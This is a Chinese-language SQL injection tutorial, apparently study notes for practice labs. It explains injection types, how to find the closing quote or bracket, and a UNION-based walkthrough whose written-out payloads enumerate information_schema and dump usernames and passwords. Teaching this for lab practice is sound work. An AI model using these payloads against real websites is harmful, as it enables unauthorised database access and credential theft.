目录
前言:
理解web解析sql语句流程,了解sql注入类型,学会判断闭合方式,理解union注入中的每一步,最好能够用phpadmin结合使用学习
一、web应用程序
三层架构:
- 数据显示层(界面层或Web层):这是用户可以看到和与之交互的界面。它负责接收用户的请求,封装数据,并调用业务逻辑层来完成处理。界面层通常由JSP和Servlet等技术实现,并且可以包含与Web相关的内容,如HTML、CSS和JavaScript;
- 业务逻辑层(Service层):这个层处理具体的业务逻辑,组合数据访问层中的简单方法,形成复杂的功能。业务逻辑层不包含Java Web API,只关注业务逻辑的处理;
- 数据访问层(Data Access Object层或Dao层):这个层负责与数据存储进行交互,包括数据的增、删、改、查等操作。数据访问层通常定义了对数据库最基本的CRUD操作,并且可以通过不同的数据访问技术来实现,如JDBC、MyBatis、Hibernate等。
流程:
- 在 Web 浏览器中输入 172.16.17.201:8000 连接到工作室服务器。
- 业务逻辑层的 Web 服务器从本地存储中加载 index.php 脚本并解析。
- 脚本连接位于数据访问层的 DBMS(数据库管理系统),并执行 sql 语句。
- 数据访问层的DBMS(数据库管理系统)返回 sql 语句执行结果给 Web 服务器。
- 业务逻辑层的 Web 服务器将 Web 页面封装成 HTML 格式发送给表示层的 Web 浏览器。
- 表示层的 Web 浏览器解析 HTML 文件,将内容展示给用户。
二、什么是sql注入
1、定义
sql注入就是通过把sql命令插到web表单提交或输入域名或页面请求的查询字符串,最终达到欺骗服务器通过权限验证执行恶意的sql命令,从而进一步得到相应的数据信息。
简单来说,就是通过构造一条sql语句,来查询想得到的信息。
2、分类
-
按查询字段
- 字符型:当输入的参数为字符串时,称为字符型;
- 数字型:当输入的参数为整形时,可以认为是数字型注入。
-
按注入方法
- union注入
- 报错注入
- 布尔盲注
- 时间盲注
- 堆叠注入
3、危害
- 数据库信息泄漏:数据库中存放的用户的隐私信息的泄露,脱取数据库中的数据内容(脱库),可获取网站管理员帐号、密码悄无声息的进行对网站后台操作等。
- 网页篡改:通过操作数据库对特定网页进行篡改,可严重影响正常业务进行。
- 网站被挂马:将恶意文件写入数据库,修改数据库字段值,嵌入网马链接,进行挂马攻击。
- 数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。
- 文件系统操作:列取目录、读取、写入shell文件获取webshell,远程控制服务器,安装后门,经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。
- 执行系统命令:远程命令执行,可破坏硬盘数据,瘫痪全系统。
三、sql注入点
1、定义
注入点就是可以实现sql注入的地方,通常是一个访问数据库的连接。
2、分类
- GET参数中的注入(URL):可以在地址栏获得URL和参数等,然后用Sqlmap或者手工验证是否存在注入。最容易被发现。
- POST请求中的注入(抓包):可以用burpsuite抓包,也可以直接用浏览器插件Hackbar来发送POST包,还可以可以用Sqlmap
- User-Agent中的注入(抓包):可以用burpsuite抓包,也可以将Sqlmap的参数设置为level=3,这样Sqlmap会自动检测User-Agent中是否存在注入。
- Cookies中的注入(浏览器插件、抓包):可以用burpsuite抓包,也可以将Sqlmap的参数设置为level=2,这样Sqlmap会自动检测Cookies中是否存在注入,还可以用浏览器插件Hackbar直接修改Cookies。
3、判断
-
是否存在注入点
(1)在参数位置修改参数值,eg:id=1修改为2后是否数据改变
(2)插入单、双引号的检测方法(常用),未闭合的单引号会引起SQL语句单引号未闭合的错误提示
-
注入点类型
(1)数字型注入点:这一类的 SQL 语句原型大概为SELECT * FROM users WHERE id=$id
;,使用?id=1 and 1=1和?id=1 and 1=2来判断,如果都能正常显示界面则是字符型注入,不能正常显示就是数字型注入
(2)字符型注入点:这一类的 SQL 语句原型大概为 SELECT * FROM users WHERE id='$id';
使用?id=1' and '1'=1和?id='1 and 1=2来判断如果能正常显示是字符型注入,报错就是数字型注入
(3)搜索型注入点 :这是一类特殊的注入类型,这一类的 SQL 语句原型大概为
select * from 表名 where 字段 like '%关键字%'
四、闭合符
1、定义
MYSQL数据库的包容性较强,如果输入了错误的数据类型,MYSQL数据库会自动将其转换成正确的数据类型,如:输入1)、1"、1-等,只要数字后面的字符不是闭合符的,数据库都会把你输入的错误数据类型转换成正确的数据类型。若输入的数字后面的字符恰好是闭合符,则会形成闭合,若闭合后形成的sql语句是错误的,那么sql语句执行就会错误,从而造成页面显示错误。
字符型需要闭合符;数字型不需要闭合符。
2、常见闭合方式
?id=1'、?id=1"、?id=1')、?id=1")等,大多都是单引号、双引号、括号的组合。
3、闭合的作用
闭合符是为了结束上一段的查询语句,后面即可加入其他语句,查询需要的参数,不需要的语句可以用注释符‘ --+ ’或‘ # ’或‘ %23 ’将程序段脱离运行。(把某段程序注释掉就是让它暂不运行而不是删掉)
4、判断闭合方式
随便在url输入?id=1'''
near ' ' 1''' ' LIMIT 0,1'(空格更清晰实际无空格)
方法一:转义字符‘ \ ’
数字型
单引号闭合id=1'
双引号闭合id=1"
单引号加括号闭合id=1')
双引号加括号闭合id=1")
方法二:尝试
首先尝试?id=1’或?id=1”
结果一:如果都报错
判断闭合符为:整形闭合。
结果二:如果单引号报错,双引号不报错。
继续尝试?id=1’ --+
结果一:无报错
判断闭合符为:单引号闭合。
结果二:报错
判断闭合符可能为:单引号加括号。
结果三:如果单引号不报错,双引号报错。
继续尝试?id=1" --+
结果一:结果无报错
判断闭合符为:双引号闭合。
结果二:报错
判断闭合符可能为:双引号加括号。
五、union联合注入
1、判断注入类型
2、判断闭合方式
3、判断列数(正常union注入都需要判断列数)
使用group by或order by判断(二分法)
?id=1' group by 3--+
?id=1' order by 3--+ #监测比较严格容易被阻挡
4、判断回显位
使用union select
?id=-1' union select 1,2,3--+ #上面判断出只有三列故只有到3
SELECT * FROM users WHERE id='1' UNION SELECT 1,2,3;
易错点
?id=1' union select 1,2,3--+
如果是存在的id,则会识别到主键列id=1则不会回显2,3,而是回显id=1的内容,故应该用不存在的id如id=-1或id=0等
5、查询数据库
使用union select database()
?id=-1' union select 1,2,database()--+ #在2,3都可以,但1是主键列故不可以
6、 爆表
补充
数据库information_schema:包含所有mysql数据库的简要信息,其中包含两个所需的数据表tables(表名集合表)和columns(列名集合表)
?id=-1' union select 1,2,table_name from information_schema.tables where table_schema='security'--+
但是发现查到的信息其实不全,所以需要使用group_concat()确保所有查询到的信息能放到一行显示出来
select group_concat(table_name) from information_schema.tables where table_schema='security';
?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema='security'--+
7、爆列
select group_concat(column_name) from information_schema.columns where table_name='users';
?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users'--+
8、得到username和password
?id=-1' union select 1,2,group_concat(username,password) from users--+
总结:
做sql注入题不能盲目做题死记语法要理解其中sql语句的用法,结合phpadmin在上面挖取数据加强理解。